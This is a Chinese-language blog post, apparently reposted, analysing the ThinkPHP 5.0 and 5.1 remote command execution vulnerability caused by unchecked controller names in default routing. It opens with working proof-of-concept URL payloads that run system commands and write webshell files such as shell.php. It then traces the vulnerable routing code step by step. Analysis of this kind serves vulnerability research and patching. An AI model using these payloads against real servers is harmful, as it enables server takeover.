php命令执行漏洞利用,ThinkPHP 5.0 & 5.1远程命令执行漏洞利用分析

1漏洞利用方式

5.0版本POC(不唯一)

命令执行:?

s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=[系统命令]

文件写入:?

s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][1]=<?php phpinfo();?>5.1版本POC(不唯一)

命令执行:?

s=index/thinkRequest/input&filter=system&data=[系统命令]

文件写入:?

s=index/thinktemplatedriverfile/write&cacheFile=shell.php&content=<?php phpinfo();?>2漏洞分析

版本:Thinkphp v5.1.29(影响版本<5.1.31和<5.0.23)

本次分析环境:PHP/7.0.12 + Apache2

ThinkPHP官方在12月9日发布了5.*版本的更新,更新说明“由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞”,所以漏洞的触发在路由调度时,thinkphp中由函数pathinfo()来获取路由,定位函数查看:

/thinkphp/library/think/Request.php:678行

a40f89a99531d7b187f4db8766042bac.gif

ThinkPHP 5.0 & 5.1远程命令执行漏洞利用分析s1.jpeg (11.63 KB, 下载次数: 3)

2020-10-10 10:50 上传

其中在文件31行定义了var_pathinfo的默认值为s :

// PATHINFO变量名 用于兼容模式'var_pathinfo' => 's'

所以当请求报文中以GET形式传入s参数是,则将其值作为pathinfo。全局查找pathinfo()函数的调用情况,可以发现同文件下path函数对其进行调用,定位path()函数查看:

/thinkphp/library/think/Request.php:716行

a40f89a99531d7b187f4db8766042bac.gif

ThinkPHP 5.0 & 5.1远程命令执行漏洞利用分析s2.jpeg (9.19 KB, 下载次数: 6)

2020-10-10 10:50 上传

调用pathinfo()函数获取路由信息,并将返回值赋值给了$this->path,所以我们可以控制该变量,即path()函数的返回值,继续跟踪path函数的调用情况,定位函数

routecheck():/thinkphp/library/think/App.php:583行

a40f89a99531d7b187f4db8766042bac.gif

ThinkPHP 5.0 & 5.1远程命令执行漏洞利用分析s3.jpeg (13.2 KB, 下载次数: 6)

2020-10-10 10:50 上传

该函数进行路由检测,且将我们可控的$path变量传递到了check()函数中进行处理,定位查看check()函数:

/thinkphp/library/think/Route.php:877行

a40f89a99531d7b187f4db8766042bac.gif

ThinkPHP 5.0 & 5.1远程命令执行漏洞利用分析s4.jpeg (12.64 KB, 下载次数: 6)

2020-10-10 10:50 上传

这里我们就可以看出为何官方说明,在开启强制路由的情况下不受该漏洞的影响,如果开启强制路由,则check处理传入的由我们构造的$url变量时会实例化RouteNotFoundException对象,即报出对应的错误。

a40f89a99531d7b187f4db8766042bac.gif

ThinkPHP 5.0 & 5.1远程命令执行漏洞利用分析s5.jpeg (5.3 KB, 下载次数: 6)

2020-10-10 10:50 上传

而默认路由解析情况下,check()函数实例化了UrlDispatch对象,并将$url传递给了构造函数进行处理,UrlDispatch继承Dispatch,分析其父类Dispatch的构造函数,跟踪查看:library/think/route/Dispatch.php:64行

传入的$dispatch变量值赋值给了$this->dispatch,全局收索$this->diapatch的处理情况,最终会传入Url类中的init()函数进行处理,跟踪查看init()函数:

/thinkphp/library/think/route/dispatch/Url.php:20行

a40f89a99531d7b187f4db8766042bac.gif

ThinkPHP 5.0 & 5.1远程命令执行漏洞利用分析s6.jpeg (7.5 KB, 下载次数: 3)

2020-10-10 10:50 上传

init()函数调用parseUrl()函数对$this->diapatch变量进行处理,跟踪查看:

/thinkphp/library/think/route/dispatch/Url.php:37行

a40f89a99531d7b187f4db8766042bac.gif

ThinkPHP 5.0 & 5.1远程命令执行漏洞利用分析s7.jpeg (11.36 KB, 下载次数: 6)

2020-10-10 10:50 上传

ParseUrl()函数又将变量传入到了parseUrlPath()函数中,继续定位查看parseUrlPath()函数:

/thinkphp/library/think/route/Rule.php:951行

a40f89a99531d7b187f4db8766042bac.gif

ThinkPHP 5.0 & 5.1远程命令执行漏洞利用分析s8.jpeg (18.1 KB, 下载次数: 6)

2020-10-10 10:50 上传

利用‘/’对$url变量进行分割,且$url的格式为‘模块/控制器/操作’,将$url分割后的值存放在$path变量当中,并返回到parseUrl()函数,最终返回到Url类中init()函数:

/thinkphp/library/think/route/dispatch/Url.php:20行

a40f89a99531d7b187f4db8766042bac.gif

ThinkPHP 5.0 & 5.1远程命令执行漏洞利用分析s9.jpeg (4.81 KB, 下载次数: 6)

2020-10-10 10:50 上传

最终分割后封装好的路由信息数组传递到了$result变量中,随后传递到了Module的构造函数进行处理,由于Module的父类也是Dispatch,即将$result值传递给了变量$this->dispatch,随后调用Module类的init()函数对$this->dispatch进行处理,定位查看:

/thinkphp/library/think/route/dispatch/Module.php:27行

a40f89a99531d7b187f4db8766042bac.gif

ThinkPHP 5.0 & 5.1远程命令执行漏洞利用分析s10.jpeg (10.6 KB, 下载次数: 6)

2020-10-10 10:50 上传

在初始化模块的判断语句中,对$module进行判断,则需要$available的值为true,即需要is_dir($this->app->getAppPath() . $module 的判断条件成立,由于默认模块是index,所以入口模块为index,也可以用‘.’进行替换。$this->dispatch的值最终传递到$this->controller中,init()函数处理完过后,进入exec()函数,查看函数代码:

/thinkphp/library/think/route/dispatch/Module.php:85行

a40f89a99531d7b187f4db8766042bac.gif

ThinkPHP 5.0 & 5.1远程命令执行漏洞利用分析s11.jpeg (8.04 KB, 下载次数: 6)

2020-10-10 10:50 上传

exec()函数将变量$this->controller传递给了controller()函数进行处理,继续跟踪controller()进行查看:

/thinkphp/library/think/App.php:720行

a40f89a99531d7b187f4db8766042bac.gif

ThinkPHP 5.0 & 5.1远程命令执行漏洞利用分析s12.jpeg (9.89 KB, 下载次数: 6)

2020-10-10 10:50 上传

该函数中的$name变量是由我们控制的,随后调用parseModuleAndClass()函数对其进行出来,跟进parseModuleAndClass()函数:

/thinkphp/library/think/App.php:641行

a40f89a99531d7b187f4db8766042bac.gif

ThinkPHP 5.0 & 5.1远程命令执行漏洞利用分析s13.jpeg (11.07 KB, 下载次数: 9)

2020-10-10 10:50 上传

当$name中存在’’时,直接将$name值赋给$class,然后实例化$class,并返回,即$name为我们可以控制的值,可以通过构造$name变量来实例化任何一个类,所以我们可以通过构造s=index/thinkclass/method来实例化thinkclass类并且执行该类的method方法达到控制程序流,由于Rule.php中parseUrlPath()函数中:

$url = str_replace('|', '/', $url);

所以也可以使用’|’进行进行构造,即index|thinkclass|method。

在thinkRequest类中找到可以利用的方法input:

a40f89a99531d7b187f4db8766042bac.gif

ThinkPHP 5.0 & 5.1远程命令执行漏洞利用分析s14.jpeg (9.71 KB, 下载次数: 5)

2020-10-10 10:50 上传

通过构造payload:

s=index/thinkRequest/input&filter

=phpinfo&data=1

即可调用phpinfo函数,调用system()函数便可以任意命令执行。

a40f89a99531d7b187f4db8766042bac.gif

ThinkPHP 5.0 & 5.1远程命令执行漏洞利用分析s15.jpeg (18.04 KB, 下载次数: 5)

2020-10-10 10:50 上传

在thinktemplatedriverfile类中找到可以任意写文件的方法write:

a40f89a99531d7b187f4db8766042bac.gif

ThinkPHP 5.0 & 5.1远程命令执行漏洞利用分析s16.jpeg (9.47 KB, 下载次数: 6)

2020-10-10 10:50 上传

所以通过构造payload:

?s=index/thinktemplatedriverfile/write

&cacheFile=shell.php&content=

a40f89a99531d7b187f4db8766042bac.gif

ThinkPHP 5.0 & 5.1远程命令执行漏洞利用分析s17.jpeg (28.87 KB, 下载次数: 3)

2020-10-10 10:50 上传

便可以在网站根目录写入任意恶意文件,从而达到控制目标服务器的目的,可以调用进行恶意操作的类比较多。

对于Thinkphp5.0版本的,其路由控制器实现原理是一样的,只是各种调用方式和函数名不太相同,这里不详细分析,漏洞利用时调用的方法不一样,通过查找可以利用app类中的invokeFunction方法:

a40f89a99531d7b187f4db8766042bac.gif

ThinkPHP 5.0 & 5.1远程命令执行漏洞利用分析s18.jpeg (9.34 KB, 下载次数: 3)

2020-10-10 10:50 上传

通过实例化ReflectionFunction类,调用function函数,由于变量$var为数组,所以可以构造payload:

?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]

=phpinfo&vars[1][]=1

a40f89a99531d7b187f4db8766042bac.gif

ThinkPHP 5.0 & 5.1远程命令执行漏洞利用分析s19.jpeg (18.57 KB, 下载次数: 6)

2020-10-10 10:50 上传

通过构造payload:

?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][1]=

便可以达到任意写的目的:

a40f89a99531d7b187f4db8766042bac.gif

ThinkPHP 5.0 & 5.1远程命令执行漏洞利用分析s20.jpeg (19.56 KB, 下载次数: 3)

2020-10-10 10:50 上传

同5.1版本一样,其parseUrlPath函数在处理$url时也进行了替换处理:

$url = str_replace('|', '/', $url);

所以payload中的’/’也可以利用’|’进行替换。该漏洞的利用方法不唯一,针对Thinkphp5.*的不同版本可以寻找不同的类进行调用。

本文转自简书作者:Cyc1e

如果有好的技术原创文章

了解更多详情点击重金悬赏 | 合天原创投稿等你来!

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值